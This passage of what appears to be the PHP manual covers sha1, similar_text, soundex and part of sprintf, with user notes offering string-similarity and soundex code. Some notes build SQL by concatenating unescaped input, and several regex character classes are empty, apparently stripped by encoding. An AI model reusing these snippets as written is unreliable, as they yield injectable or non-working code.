   function sha1($hash_source)
   {
           $hash = mhash(MHASH_SHA1, $hash_source);
         $hex_hash = bin2hex($hash);
           return $hex_hash;
   }
   $sha1 = "Mhash";
}
if ( !function_exists('sha1') && !function_exists('mhash'))
{
   function sha1( $string, $raw_output = false )
   {
       $library = new Sha1Lib();

       return $raw_output ? $library->str_sha1($string) : $library->hex_sha1($string);
   }
   $sha1 = "sha1lib";
}
andreas at schmeiler dot de
17-Oct-2003 02:50
To use the sha1 function in php versions <4.3 do the following:

install the mhash library (see http://mhash.sourceforge.net)

then, sha1 can be implemented as follows:

function sha1($hash_source) {
   $hash = mhash(MHASH_SHA1, $hash_source);
   $hex_hash = bin2hex($hash);
   return $hex_hash;
}
bobm at hp dot com
24-Apr-2003 12:12
To achieve raw binary format prior to PHP5, you can do this...

$raw = pack("H*", sha1($str));

Regards,

Bob Mader
add a note add a note

后退 | 起点 | 前进
sha1_file | 上一级 | similar_text


similar_text

(PHP 3 >= 3.0.7, PHP 4, PHP 5)

similar_text -- Calculate the similarity between two strings

Description

int similar_text ( string first, string second [, float &percent] )

This calculates the similarity between two strings as described in Oliver [1993]. Note that this implementation does not use a stack as in Oliver's pseudo code, but recursive calls which may or may not speed up the whole process. Note also that the complexity of this algorithm is O(N**3) where N is the length of the longest string.

By passing a reference as third argument, similar_text() will calculate the similarity in percent for you. It returns the number of matching chars in both strings.

See also levenshtein(), and soundex().

add a note add a note User Contributed Notes
dmitry dot polushkin at gmail dot com
08-Mar-2006 12:08
Well... hard to explain, why I have written this function, but maybe it will be usefull.
<?php
// returns the percentage of the string "similarity"
function str_compare($str1, $str2) {
   $count = 0;

   $str1 = ereg_replace("[^a-z]", ' ', strtolower($str1));
   while(strstr($str1, '  ')) {
       $str1 = str_replace('  ', ' ', $str1);
   }
   $str1 = explode(' ', $str1);

   $str2 = ereg_replace("[^a-z]", ' ', strtolower($str2));
   while(strstr($str2, '  ')) {
       $str2 = str_replace('  ', ' ', $str2);
   }
   $str2 = explode(' ', $str2);

   if(count($str1)<count($str2)) {
       $tmp = $str1;
       $str1 = $str2;
       $str2 = $tmp;
       unset($tmp);
   }

   for($i=0; $i<count($str1); $i++) {
       if(in_array($str1[$i], $str2)) {
           $count++;
       }
   }

   return $count/count($str2)*100;
}
?>
brad dot fish at gmail dot com
25-Feb-2006 06:30
The link below to the Oliver document appears to be broken. Here is one that works: http://citeseer.ist.psu.edu/oliver93decision.html
louis #at# mulliemedia.com
07-Jun-2004 08:01
Note that this function will calculate the percentage blindly, without regard to the LENGHT of the string.

This may become important if you try to print similar names to SMALL strings :
e.g.
I want to print out the value if it is 90 percent similar to the other one : the value is HE, the correct value is HEC

The similar_text() function will return approximately 66.7 %, and it will not print it because it is smaller than 90 %, although almost all of the string was matched.
hate at spam dot com dot BR
10-May-2004 12:21
In PHP4+, you don't need to pass the percent variable as reference..
Instead, use this way:
<?
similar_text($string1, $string2, $p);
echo "Percent: $p%";
?>

In PHP5, you'll get a ugly warning message when passing this variable as reference.. But it's configurable in php.ini (allow_call_time_pass_reference = Off)

That's it... Another great function! :)
julius at infoguiden dot no
06-Feb-2003 10:46
If you have reserved names in a database that you don't want others to use, i find this to work pretty good.
I added strtoupper to the variables to validate typing only. Taking case into consideration will decrease similarity.

$query = mysql_query("select * from $table") or die("Query failed");

while ($row = mysql_fetch_array($query)) {
     similar_text(strtoupper($_POST['name']), strtoupper($row['reserved']), $similarity_pst);
     if (number_format($similarity_pst, 0) > 90){
       $too_similar = $row['reserved'];
       print "The name you entered is too similar the reserved name &quot;".$row['reserved']."&quot;";
       break;
       }
   }
georgesk at hotmail dot com
09-Mar-2002 12:14
Well, as mentioned above the speed is O(N^3), i've done a longest common subsequence way that is O(m.n) where m and n are the length of str1 and str2, the result is a percentage and it seems to be exactly the same as similar_text percentage but with better performance... here's the 3 functions i'm using..

function LCS_Length($s1, $s2)
{
  $m = strlen($s1);
  $n = strlen($s2);

  //this table will be used to compute the LCS-Length, only 128 chars per string are considered
  $LCS_Length_Table = array(array(128),array(128));

  //reset the 2 cols in the table
  for($i=1; $i < $m; $i++) $LCS_Length_Table[$i][0]=0;
  for($j=0; $j < $n; $j++) $LCS_Length_Table[0][$j]=0;

  for ($i=1; $i <= $m; $i++) {
   for ($j=1; $j <= $n; $j++) {
     if ($s1[$i-1]==$s2[$j-1])
       $LCS_Length_Table[$i][$j] = $LCS_Length_Table[$i-1][$j-1] + 1;
     else if ($LCS_Length_Table[$i-1][$j] >= $LCS_Length_Table[$i][$j-1])
       $LCS_Length_Table[$i][$j] = $LCS_Length_Table[$i-1][$j];
     else
       $LCS_Length_Table[$i][$j] = $LCS_Length_Table[$i][$j-1];
   }
  }
  return $LCS_Length_Table[$m][$n];
}

function str_lcsfix($s)
{
  $s = str_replace(" ","",$s);
  $s = ereg_replace("[]","e", $s);
  $s = ereg_replace("[]","a", $s);
  $s = ereg_replace("[]","i", $s);
  $s = ereg_replace("[]","o", $s);
  $s = ereg_replace("[]","u", $s);
  $s = ereg_replace("[]","c", $s);
  return $s;
}

function get_lcs($s1, $s2)
{
  //ok, now replace all spaces with nothing
  $s1 = strtolower(str_lcsfix($s1));
  $s2 = strtolower(str_lcsfix($s2));

  $lcs = LCS_Length($s1,$s2); //longest common sub sequence

  $ms = (strlen($s1) + strlen($s2)) / 2;

  return (($lcs*100)/$ms);
}

you can skip calling str_lcsfix if you don't worry about accentuated characters and things like that or you can add up to it or modify it for faster performance, i think ereg is not the fastest way?
hope this helps.
Georges
daniel at reflexionsdesign dot com
10-Oct-2001 09:30
If performance is an issue, you may wish to use the levenshtein() function instead, which has a considerably better complexity of O(str1 * str2).
mogmios at hushmail dot com
02-Feb-2000 09:39
$i = similar_text($first_word, $second_word, &$p);
echo("Matched: $i  Percentage: $p%");

Don't forget your passing the double as a reference. If you use this and soundex() together you can get a pretty good guess as to how well two words match. Is useful for simple bot-like programs.
add a note add a note

后退 | 起点 | 前进
sha1 | 上一级 | soundex


soundex

(PHP 3, PHP 4, PHP 5)

soundex -- Calculate the soundex key of a string

Description

string soundex ( string str )

Calculates the soundex key of str.

Soundex keys have the property that words pronounced similarly produce the same soundex key, and can thus be used to simplify searches in databases where you know the pronunciation but not the spelling. This soundex function returns a string 4 characters long, starting with a letter.

This particular soundex function is one described by Donald Knuth in "The Art Of Computer Programming, vol. 3: Sorting And Searching", Addison-Wesley (1973), pp. 391-392.

例子 1. Soundex Examples

<?php
soundex("Euler")       == soundex("Ellery");    // E460
soundex("Gauss")       == soundex("Ghosh");     // G200
soundex("Hilbert")     == soundex("Heilbronn"); // H416
soundex("Knuth")       == soundex("Kant");      // K530
soundex("Lloyd")       == soundex("Ladd");      // L300
soundex("Lukasiewicz") == soundex("Lissajous"); // L222
?>

See also
levenshtein(),
metaphone(), and
similar_text().

add a note add a note User Contributed Notes
04-Oct-2005 03:25
Since the first letter is included in the phonetic representation in the output, it is worth pointing out that if you want a soundex key to work without the problems of klansy and clansy sounding different, take the substring from the first letter, as the first letter is the main constant of the word, and the numerical value is that of the phontic structure of the word.
crchafer-php at c2se dot com
13-Sep-2005 11:25
Rewritten, maybe -- but the algorithm has some obvious
optimisations which can be done, for example...

       function text__soundex( $text ) {
               $k = ' 123 12  22455 12623 1 2 2';
               $nl = strlen( $tN = strtoupper( $text ) );
               $p = trim( $k{ ord( $tS = $tN{0} ) - 65 } );
               for( $n = 1; $n < $nl; ++$n )
                       if( ( $l = trim( $k{ ord( $tN{ $n } ) - 65 } ) ) != $p )
                               $tS .= ( $p = $l );
               return substr( $tS . '000', 0, 4 );
       }

// Notes:
// $k is the $key, essentially $SoundKey inverted
// $tN is the uppercase of the text to be optimised
// $tS is the partaully generated output
// $l is the current letter, $p the previous
// $n and $nl are iteration indicies
// 65 is ord('A'), precalculated for speed
// none ascii letters are not supported
// watch the brackets, quite a mixture here

(Code has suffered only basic tests, though it appears to
match the output of PHP's soundex(), speed untested --
though this should be /much/ faster than a4_perfect's
rewrite due to the removal of most loops and compares.)

C
2005-09-13
a4_perfect at mail dot ru
01-Aug-2005 09:18
Even be rewritten, function of [administrator at zinious dot com] is slower than soundex() for approx 30 times:

<?php
function MakeSoundEx($stringtomakesoundexof)
{
  $temp_Name = strtoupper($stringtomakesoundexof);
  $SoundKey = array(1=>"BPFV", "CSKGJQXZ", "DT", "L", "MN", "R", "AEHIOUWY");
  $temp_Last = "";
  $temp_Soundex = substr($temp_Name, 0, 1);

  for ($x = 1; $x <= sizeof($SoundKey); $x++)
   for ($i = 0; $i < strlen($SoundKey[$x]); $i++)
     if ($temp_Soundex == substr($SoundKey[$x], $i - 1, 1))
       $temp_Last = (string)($x==7?"":$x);

  for ($n = 1; $n < strlen($temp_Name); $n++)
   if (strlen($temp_Soundex) < 4)
   {
     for ($x = 1; $x <= sizeof($SoundKey); $x++)
       for ($i = 0; $i < strlen($SoundKey[$x]); $i++)
         if (substr($temp_Name, $n-1, 1)==substr($SoundKey[$x], $i-1, 1))
         {
           if($x<7 && $temp_Last!=(string)$x)
             $temp_Soundex = $temp_Soundex.$x;
           $temp_Last = (string)($x);
         }
     }

  return $temp_Soundex . str_repeat("0", 4-strlen($temp_Soundex));
}
?>
Marc Quinton.
06-Jan-2005 10:53
a French soundex version ; could be used for other foreigns languages where soudex lacks. Perhaps, a class with each language specifics could be writen.

http://www.php-help.net/sources-php/a.french.adapted.soundex.289.html
justin at NO dot blukrew dot SPAM dot com
21-Sep-2004 07:18
I originally looked at soundex() because I wanted to compare how individual letters sounded. So, when pronouncing a string of generated characters it would be easy to to distinguish them from eachother.  (ie, TGDE is hard to distinguish, whereas RFQA is easier to understand). The goal was to generate IDs that could be easily understood with a high degree of accuracy over a radio of varying quality. I quickly figured out that soundex and metaphone wouldn't do this (they work for words), so I wrote the following to help out. The ID generation function iteratively calls chrSoundAlike() to compare each new character with the preceeding characters. I'd be interested in recieving any feedback on this. Thanks.

<?php
function chrSoundAlike($char1, $char2, $opts = FALSE) {
   $char1 = strtoupper($char1);
   $char2 = strtoupper($char2);
   $opts  = strtoupper($opts);

   // Setup the sets of characters that sound alike.
   // (Options: include numbers, include W, include both, or default is none of those.)
   switch ($opts) {
   case 'NUMBERS':
       $sets = array(0 => array('A', 'J', 'K'),
                     1 => array('B', 'C', 'D', 'E', 'G', 'P', 'T', 'V', 'Z', '3'),
                     2 => array('F', 'S', 'X'),
                     3 => array('I', 'Y'),
                     4 => array('M', 'N'),
                     5 => array('Q', 'U', 'W'));
       break;

   case 'STRICT':
       $sets = array(0 => array('A', 'J', 'K'),
                     1 => array('B', 'C', 'D', 'E', 'G', 'P', 'T', 'V', 'Z'),
                     2 => array('F', 'S', 'X'),
                     3 => array('I', 'Y'),
                     4 => array('M', 'N'),
                     5 => array('Q', 'U', 'W'));
       break;

   case 'BOTH':
       $sets = array(0 => array('A', 'J', 'K'),
                     1 => array('B', 'C', 'D', 'E', 'G', 'P', 'T', 'V', 'Z', '3'),
                     2 => array('F', 'S', 'X'),
                     3 => array('I', 'Y'),
                     4 => array('M', 'N'),
                     5 => array('Q', 'U', 'W'));
       break;

   default:
       $sets = array(0 => array('A', 'J', 'K'),
                     1 => array('B', 'C', 'D', 'E', 'G', 'P', 'T', 'V', 'Z'),
                     2 => array('F', 'S', 'X'),
                     3 => array('I', 'Y'),
                     4 => array('M', 'N'),
                     5 => array('Q', 'U'));
       break;
   }

   // See if $char1 is in a set.
   $matchset = array();
   for ($i = 0; $i < count($sets); $i++) {
       if (in_array($char1, $sets[$i])) {
           $matchset = $sets[$i];
       }
   }

   // IF char2 is in the same set as char1, or if char1 and char2 and the same, then return true.
   if (in_array($char2, $matchset) OR $char1 == $char2) {
       return TRUE;
   } else {
       return FALSE;
   }
}
?>
mail at gettheeawayspam dot iaindooley dot com
11-Jul-2003 02:04
The soundex 'different letter in front' problem can be solved by using levenshtein() on the soundex codes. in my application, which is searching a database of album names for entries that match a particular user provided string, i do the following:

1. Search the database for the exact name
2. Search the database for entries where the name occurs anyway as a string
3. Search the database for entries where any of the words in the name (if the user has typed in more than one word) is present, except for little words (and, the, of etc)
4. Then, if all this fails, I go to plan b:

- calculate the levenshtein distance (levenshtein()) between the user search term and each of the entries in the database as a percentage of the length of the user search term entered

- calculate the levenshtein distance between the metphone codes of the user search term entered and each field in the database as a percentage of the length of the metaphone code of the user search term entered

- calculate the levenshtein distance between the soundex codes of the user search term entered and each field in the database as a percentage of the length of the soundex code of the original user search term entered

if any of these percentages is less than 50 (means that two soundex codes with different first letters will be accepted!!) then the entry is accepted as a possible match.
php.net AT djwice DoT com
26-Jun-2003 08:01
Ik made the Soundex in JavaScript.
http://www.vanderharg.nl/soundex.php

Explanation of the algoritm is on the above page.
It returns two values if a name has "van der" or something alike in it. One with that in the Soundex test and one without.

The use of regular expressions makes the ectual soundex algoritm short. Two conditions of the algoritm I did remove because in this implementation they are redundant.

<script language="javascript">
var koppelteken = ""; // kan ook  - zijn.
var vv=new Array(
       "de la ",
       "in het ",
       "in 't ",
       "op den ",
       "op het ",
       "op de ",
       "op te ",
       "op 't ",
       "up te",
       "uit de ",
       "van den ",
       "van der ",
       "van het ",
       "van de ",
       "van 't ",

       "opte ",
       "upte ",
       "con ",
       "den ",
       "der ",
       "ten ",
       "ter ",
       "van ",

       "de ",
       "di ",
       "du ",
       "la ",
       "le ",
       "te ",
       "vd ",

       "l' ",
       "l'",
       "'t ");

function removePrefix(name)
{
   i=0;
   var strippedresult = "";
   while ((strippedresult=="")&&(i<vv.length))
   {
       if (name.substr(0,vv[i].length)==vv[i].toUpperCase())
           strippedresult = name.substr(vv[i].length);
       i++;
   }
   return strippedresult;
}

function Soundex(name)
{
   if (name.length>1)
   {
       // zet om naar hoofdletters.
           name=name.toUpperCase();

       // converteer leestekens
           re = new RegExp ('[]+', 'gi');
           name = name.replace(re, 'A');
           re = new RegExp ('[]+', 'gi');
           name = name.replace(re, 'E');
           re = new RegExp ('[]+', 'gi');
           name = name.replace(re, 'I');
           re = new RegExp ('[]+', 'gi');
           name = name.replace(re, 'O');
           re = new RegExp ('[]+', 'gi');
           name = name.replace(re, 'U');
           re = new RegExp ('[]+', 'gi');
           name = name.replace(re, 'Y');

       // behandel voorvoegsels
           var result=Soundex(removePrefix(name));
           if (result!="") result+="\n";

       // eerste letter
           result += name.substr(0,1);

       // codeer de rest in cijfers
           name=name.substr(1);

       // haal A, E, I, O, U, H, W, en Y er uit.
           re = new RegExp ('[AEIOUHWY ]+', 'gi');
           name = name.replace(re, '');

       // Zet om naar cijfers met tabel.
           // haal dubbele cijfers er uit.
           re = new RegExp ('[BFPV]+', 'gi');
           name = name.replace(re, '1');
           re = new RegExp ('[CGJKQSXZ]+', 'gi');
           name = name.replace(re, '2');
           re = new RegExp ('[DT]+', 'gi');
           name = name.replace(re, '3');
           re = new RegExp ('[L]+', 'gi');
           name = name.replace(re, '4');
           re = new RegExp ('[MN]+', 'gi');
           name = name.replace(re, '5');
           re = new RegExp ('[R]+', 'gi');
           name = name.replace(re, '6');

       // vul aan tot 3 cijfers.
           while (name.length<3)
               name += "0";

       // kap af op 3 cijfers
           if (name.length>3)
               name=name.substr(0,3);

       return result+koppelteken+name;
   }
   else return "";
}
</script>
pee whitt at dental dot ufl dor edu
09-Jun-2003 09:12
fie at myrealbox dot com-

regarding your soudex syllable request- i think counting vowel clusters in the word will result in an accurate count of syllables.  so no soudex feature is necessary, just count through the chars in the word, and everytime you run from vowel to consanant, increment the syllable count.

using this logic, this sentence is categorized as follows.
2 1 2 1 1 (3) (0) (4) (0) 2

where (#) marks a word that is incorrectly categorized.  i'm sure usiong a little thinking one could figure out the logic in those cases that would result in an accurate count.  counting changes from vowel to consanant would yield-
(1) 1 2 1 2 1 (4) 1 2

taking the average and then cieling of the two types would fix most of the errors.
fie at myrealbox dot com
09-Mar-2003 09:29
eek... hosting got taken down on that server.. here's the code for the previous

function cg_sylc($nos){
  $nos = strtoupper($nos);
  $syllables = 0;

  $before = strlen($nos);
  $nos = str_replace(array('AA','AE','AI','AO','AU',
  'EA','EE','EI','EO','EU','IA','IE','II','IO',
  'IU','OA','OE','OI','OO','OU','UA','UE',
  'UI','UO','UU'), "", $nos);
  $after = strlen($nos);
  $diference = $before - $after;
  if($before != $after) $syllables += $diference / 2;

  if($nos[strlen($nos)-1] == "E") $syllables --;
  if($nos[strlen($nos)-1] == "Y") $syllables ++;

  $before = $after;
  $nos = str_replace(array('A','E','I','O','U'),"",$nos);
  $after = strlen($nos);
  $syllables += ($before - $after);

  return $syllables;
}

function cg_SoundEx($SExStr){
  $syl = cg_sylc($SExStr);
  $SExStr = strtoupper($SExStr);

   for($i = 1, $ii = 2,print $SExStr[0]; ;$ii++){

     if(($SExStr[$i] != $SExStr[$ii])){
         $tsstr .= $SExStr[$ii];
         $i ++;
     }
     if($SExStr[$ii] == false){
       break;
     }
   }

  $tsstr = str_replace(array('A', 'E', 'H', 'I', 'O', 'U', 'W', 'Y'), "", $tsstr);
  $tsstr = str_replace(array('B', 'F', 'P', 'V'), "1", $tsstr);
  $tsstr = str_replace(array('C', 'G', 'J', 'K', 'Q', 'S', 'X', 'Z', ''), "2", $tsstr);
  $tsstr = str_replace(array('D', 'T'), "3", $tsstr);
  $tsstr = str_replace(array('L'), "4", $tsstr);
  $tsstr = str_replace(array('M', 'N', ''), "5", $tsstr);
  $tsstr = str_replace(array('R'), "6", $tsstr);

  while($iii < 3){
   if($tsstr[$iii] != false){
     $ttsstr .= $tsstr[$iii];
   } else {
     $ttsstr .= "0";
   }
   $iii ++;
  }
  $ttsstr .= $syl;
  print $ttsstr;
}
fie at myrealbox dot com
26-Feb-2003 09:34
administrator at zinious dot com:

Sorry but your code wasnt soundex compliant
here were my results with your code, my code, and the default..

string: rest
R620 perform administrator's function 0.009452
R230 perform cg's function 0.001779
R230 perform default soundex function 9.4999999999956E-005

string: reset
R620 perform administrator's function 0.0055900000000001
R230 perform cg's function 0.00091799999999997
R230 perform default soundex function 0.00010600000000005

i dunno why the default, every once in a while, will for some reason be 9.xxx. very odd i think..
my code is at the bottom.. these tests were before the soundex modification as i discribe below..
btw for all the original specs on the soundex algorithm goto
http://www.star-shine.net/~functionifelse/GFD/?word=soundex

dalibor dot toth at podravka dot hr:

yes it is perhaps sad that it gives you the same code,
even metaphone has that problem..
but one might not want to be so accurate.. if somone
is on search engine.. lets call it shmoogle looking
for "php array reset" and search for "php array rest"
then shmoogle might return stuff about beds and such..
(if they were all stupid and didnt use the first words
as more important) so anyways shmoogle might need it to
be less accurate in such cases.. but nonetheless..
my fix for this is to add the number of syllables at the end of the string making it 5 characters long..
this would work as fallows..

code at: http://star-shine.net/~functionifelse/cg_soundex.php

or if you wanted to just use the default soundex function

$str = soundex($str).cg_sylc($str);

revolutionary more or less.. problly less...
This function is only meant for one word though.. i'd like to see someone
modify it to use split and run it through a loop to get each words cg_soundex
that'll be fun ;)
i would also like to sujest to the php zend apache kinda people who make php
to add an optional additional variable the user can specify as fallows

soundex("string",SYL);

which would return the number of syllables at the end of the string
highly accurate sound testing woo! also you could add VOW for vowels
and CONS for consonant or whatever else someone would want..
but i really think the number of syllables will be pleanty efficiant.
umm.. if this helps anyone your welcome.. ummm.. good luck in all
your php adventures.. oh... and the final results

syllables
1 rest
2 reset
metaphone
RST rest
RST reset
soundex
R230 rest
R230 reset

string: rest
R2301 perform cg's function 0.00211
R230 perform default soundex function 0.00011299999999997

string: reset
R2302 perform cg's function 0.001691
R230 perform default soundex function 0.00010399999999999

the default function is a tad bit faster..
so maybe they will add this option and we'll have speed and accuracy.

SILENT WIND OF DOOM WOOSH!
jr
17-Jan-2003 01:25
a workaround for the mysql/php differences in implementation of soundex is to do the soundex comparison entirely within mysql.

for example:
$sql = "SELECT * FROM table WHERE substring(soundex(field), 1, 4) =  substring(soundex('".$wordsearch."'), 1, 4)";
info at nederlandsch dot net
20-Dec-2002 09:26
MySQL soundex (3.23.49) doesn't examine the first character at all to see whether it should be skipped. Therefore the Dutch name of The Hague, the country's government seat, 's-Gravenhage will give a soundex value of '261 in MySQL and S615 in PHP.
bestworldweb At yahoo NOSPAM dot co.nz
10-Dec-2002 02:27
Mysql seems to use 0 in the letter V instead of 1, which is what php uses (and most soundex functions)
fred AT oicgroup.net
12-Nov-2002 07:35
I am finding a peculiarity in using the Soundex function in PHP (4.2.2) against the one in MySql (3.23.39) .  For instance, a soundex on the word "purchased" in PHP results in 'P622'.  The same word using the MySql Soundex function results in 'P623'.  The word 'five' using PHP results in 'F100' while MySql results in 'F000'.  I have only caught a couple that are different so far - don't know if it's a bug in either PHP or MySql or something than can be adjusted/accounted for in code.

Fred Dirkse
OIC Group, Inc.
www.oicgroup.net
dalibor dot toth at podravka dot hr
30-Sep-2002 06:50
Apart from Clansy nad Klansy, using strings "rest" and "reset" with soundex() gives you: 1. R230, 2. R230. Pitty...
dcallaghan at linuxmail dot org
11-Jun-2002 07:25
Although the standard soundex string is 4 characters long, and this is what's returned by the php function, some database programs return an arbitrary number of strings. MySQL, for instance.

The MySQL documentation covers this, recommending that you may wish to use substring to output the standard 4 characters. Let's take 'Dostoyevski' as an example.

select soundex("Dostoyevski")
returns D2312
select substring(soundex("Dostoyevski"), 1, 4);
returns D231

PHP will return the value as 'D231'

So, to use the soundex function to generate a WHERE parameter in a MySQL SELECT statement, you might try this:
$s = soundex('Dostoyevski');
SELECT * FROM authors WHERE substring(soundex(lastname), 1 , 4) = "' . $s  . '"';

Or, if you want to bypass the php function
$result = mysql_query("select soundex('Dostoyevski')");
$s = mysql_result($result, 0, 0);
witold4249 at rogers dot com
18-May-2002 01:11
A MUCH easier way to check for similarity between words and avoid the problems that come up with Klancy/Clancy would be to simply add any letter infront of the string

ie:  OKlancy/OClancy
18-May-2002 01:07
A MUCH easier way to do the above search would be to simply add any letter in front of the string and then compare them.

ie. Klancy => LKlancy
   Clancy => LClancy
bb79 at no_spam dot com
11-Apr-2002 04:29
To search for words like Clansy and Klansy, just reverse the strings:

  $s1 = "Clansy";
  $s2 = "Klansy";
  if((soundex($s1) == soundex($s2)) ||
     (soundex(strrev($s1)) == soundex(strrev($s2))))
   echo("Match");
administrator at zinious dot com
10-Apr-2002 11:21
I wrote this function a long time ago in CGI-perl and then translated (if you can call it that) into PHP.  A little clunky to say the least, but should handle true soundex specs 100%:

// ---begin code---

function MakeSoundEx($stringtomakesoundexof)
{
   $temp_Name = $stringtomakesoundexof;
   $SoundKey1 = "BPFV";
   $SoundKey2 = "CSKGJQXZ";
   $SoundKey3 = "DT";
   $SoundKey4 = "L";
   $SoundKey5 = "MN";
   $SoundKey6 = "R";
   $SoundKey7 = "AEHIOUWY";

       $temp_Name = strtoupper($temp_Name);
   $temp_Last = "";
   $temp_Soundex = substr($temp_Name, 0, 1);

   $n = 1;
   for ($i = 0; $i < strlen($SoundKey1); $i++)
   {
           if ($temp_Soundex == substr($SoundKey1, i - 1, 1))
       {
           $temp_Last = "1";
           }
   }
   for ($i = 0; $i < strlen($SoundKey2); $i++)
   {
           if ($temp_Soundex == substr($SoundKey2, i - 1, 1))
       {
           $temp_Last = "2";
           }
   }
   for ($i = 0; $i < strlen($SoundKey3); $i++)
   {
           if ($temp_Soundex == substr($SoundKey3, i - 1, 1))
       {
           $temp_Last = "3";
           }
   }
   for ($i = 0; $i < strlen($SoundKey4); $i++)
   {
           if ($temp_Soundex == substr($SoundKey4, i - 1, 1))
       {
           $temp_Last = "4";
           }
   }
   for ($i = 0; $i < strlen($SoundKey5); $i++)
   {
           if ($temp_Soundex == substr($SoundKey5, i - 1, 1))
       {
           $temp_Last = "5";
           }
   }
   for ($i = 0; $i < strlen($SoundKey6); $i++)
   {
           if ($temp_Soundex == substr($SoundKey6, i - 1, 1))
       {
           $temp_Last = "6";
           }
   }
   for ($i = 0; $i < strlen($SoundKey6); $i++)
   {
           if ($temp_Soundex == substr($SoundKey6, i - 1, 1))
       {
           $temp_Last = "";
           }
   }

   for ($n = 1; $n < strlen($temp_Name); $n++)
   {
       if (strlen($temp_Soundex) < 4)
       {
           for ($i = 0; $i < strlen($SoundKey1); $i++)
           {
               if (substr($temp_Name, $n - 1, 1) == substr($SoundKey1, $i - 1, 1) && $temp_Last != "1")
               {
                   $temp_Soundex = $temp_Soundex."1";
                   $temp_Last = "1";
               }
           }
           for ($i = 0; $i < strlen($SoundKey2); $i++)
           {
               if (substr($temp_Name, $n - 1, 1) == substr($SoundKey2, $i - 1, 1) && $temp_Last != "2")
               {
                   $temp_Soundex = $temp_Soundex."2";
                   $temp_Last = "2";
               }
           }
           for ($i = 0; $i < strlen($SoundKey3); $i++)
           {
               if (substr($temp_Name, $n - 1, 1) == substr($SoundKey3, $i - 1, 1) && $temp_Last != "3")
               {
                   $temp_Soundex = $temp_Soundex."3";
                   $temp_Last = "3";
               }
           }
           for ($i = 0; $i < strlen($SoundKey4); $i++)
           {
               if (substr($temp_Name, $n - 1, 1) == substr($SoundKey4, $i - 1, 1) && $temp_Last != "4")
               {
                   $temp_Soundex = $temp_Soundex."4";
                   $temp_Last = "4";
               }
           }
           for ($i = 0; $i < strlen($SoundKey5); $i++)
           {
               if (substr($temp_Name, $n - 1, 1) == substr($SoundKey5, $i - 1, 1) && $temp_Last != "5")
               {
                   $temp_Soundex = $temp_Soundex."5";
                   $temp_Last = "5";
               }
           }
           for ($i = 0; $i < strlen($SoundKey6); $i++)
           {
               if (substr($temp_Name, $n - 1, 1) == substr($SoundKey6, $i - 1, 1) && $temp_Last != "6")
               {
                   $temp_Soundex = $temp_Soundex."6";
                   $temp_Last = "6";
               }
           }
           for ($i = 0; $i < strlen($SoundKey7); $i++)
           {
               if (substr($temp_Name, $n - 1, 1) == substr($SoundKey7, $i - 1, 1))
               {
                   $temp_Last = "";
               }
           }
       }
   }

   while (strlen($temp_Soundex) < 4)
   {
       $temp_Soundex = $temp_Soundex."0";
   }

   return $temp_Soundex;
}

// --- end code---
cap at capsi dot cx
13-Dec-1999 11:16
soundex() unfortunately is very sensitive about the first character. It is not possible to use it and have Clansy and Klansy return the same value. If you want to do a phonetic search on such names you will still need to write a routine to evaluate C452 as being similar to K452.
add a note add a note

后退 | 起点 | 前进
similar_text | 上一级 | sprintf


sprintf

(PHP 3, PHP 4, PHP 5)

sprintf -- Return a formatted string

Description

string sprintf ( string format [, mixed args [, mixed ...]] )

Returns a string produced according to the formatting string format.

The format string is composed of zero or more directives: ordinary characters (excluding %) that are copied directly to the result, and conversion specifications, each of which results in fetching its own parameter. This applies to both sprintf() and printf().

Each conversion specification consists of a percent sign (%), followed by one or more of these elements, in order:

  1. An optional sign specifier that forces a sign (- or +) to be used on a number. By default, only the - sign is used on a number if it's negative. This specifier forces positive numbers to have the + sign attached as well, and was added in PHP 4.3.0.

  2. An optional padding specifier that says what character will be used for padding the results to the right string size. This may be a space character or a 0 (zero character). The default is to pad with spaces. An alternate padding character can be specified by prefixing it with a single quote ('). See the examples below.

  3. An optional alignment specifier that says if the result should be left-justified or right-justified. The default is right-justified; a - character here will make it left-justified.

  4. An optional number, a width specifier that says how many characters (minimum) this conversion should result in.

  5. An optional precision specifier that says how many decimal digits should be displayed for floating-point numbers. When using this specifier on a string, it acts as a cutoff point, setting a maximum character limit to the string.

  6. A type specifier that says what type the argument data should be treated as. Possible types:

    % - a literal percent character. No argument is required.
    b - the argument is treated as an integer, and presented as a binary number.
    c - the argument is treated as an integer, and presented as the character with that ASCII value.
    d - the argument is treated as an integer, and presented as a (signed) decimal number.
    e - the argument is treated as scientific notation (e.g. 1.2e+2).
    u - the argument is treated as an integer, and presented as an unsigned decimal number.
    f - the argument is treated as a float, and presented as a floating-point number (locale aware).
    F - the argument is treated as a float, and presented as a floating-point number (non-locale aware). Available since PHP 4.3.10 and PHP 5.0.3.
    o - the argument is treated as an integer, and presented as an octal number.
    s - the argument is treated as and presented as a string.
    x - the argument is treated as an integer and presented as a hexadecimal number (with lowercase letters).
    X - the argument is treated as an integer and presented as a hexadecimal number (with uppercase letters).

As of PHP 4.0.6 the format string supports argument numbering/swapping. Here is an example:

例子 1. Argument swapping

<?php
$format = "There are %d monkeys in the %s";
printf($format, $num, $location);
?>
This might output, "There are 5 monkeys in the tree". But imagine we are creating a format string in a separate file, commonly because we would like to internationalize it and we rewrite it as:

例子 2. Argument swapping

<?php
$format = "The %s contains %d monkeys";
printf($format, $num, $location);
?>
We now have a problem. The order of the placeholders in the format string does not match the order of the arguments in the code. We would like to leave the code as is and simply indicate in the format string which arguments the placeholders refer to. We would write the format string like this instead:

例子 3. Argument swapping

<?php
$format = "The %2\$s contains %1\$d monkeys";
printf($format, $num, $location);
?>
An added benefit here is that you can repeat the placeholders without adding more arguments in the code. For example:

例子 4. Argument swapping

<?php
$format = "The %2\$s contains %1\$d monkeys.
           That's a nice %2\$s full of %1\$d monkeys.";
printf($format, $num, $location);
?>

See also printf(),
sscanf(), fscanf(),
vsprintf(), and
number_format().

Examples

例子 5. printf(): various examples

<?php
$n =  43951789;
$u = -43951789;
$c = 65; // ASCII 65 is 'A'

// notice the double %%, this prints a literal '%' character
printf("%%b = '%b'\n", $n); // binary representation
printf("%%c = '%c'\n", $c); // print the ascii character, same as chr() function
printf("%%d = '%d'\n", $n); // standard integer representation
printf("%%e = '%e'\n", $n); // scientific notation
printf("%%u = '%u'\n", $n); // unsigned integer representation of a positive integer
printf("%%u = '%u'\n", $u); // unsigned integer representation of a negative integer
printf("%%f = '%f'\n", $n); // floating point representation
printf("%%o = '%o'\n", $n); // octal representation
printf("%%s = '%s'\n", $n); // string representation
printf("%%x = '%x'\n", $n); // hexadecimal representation (lower-case)
printf("%%X = '%X'\n", $n); // hexadecimal representation (upper-case)

printf("%%+d = '%+d'\n", $n); // sign specifier on a positive integer
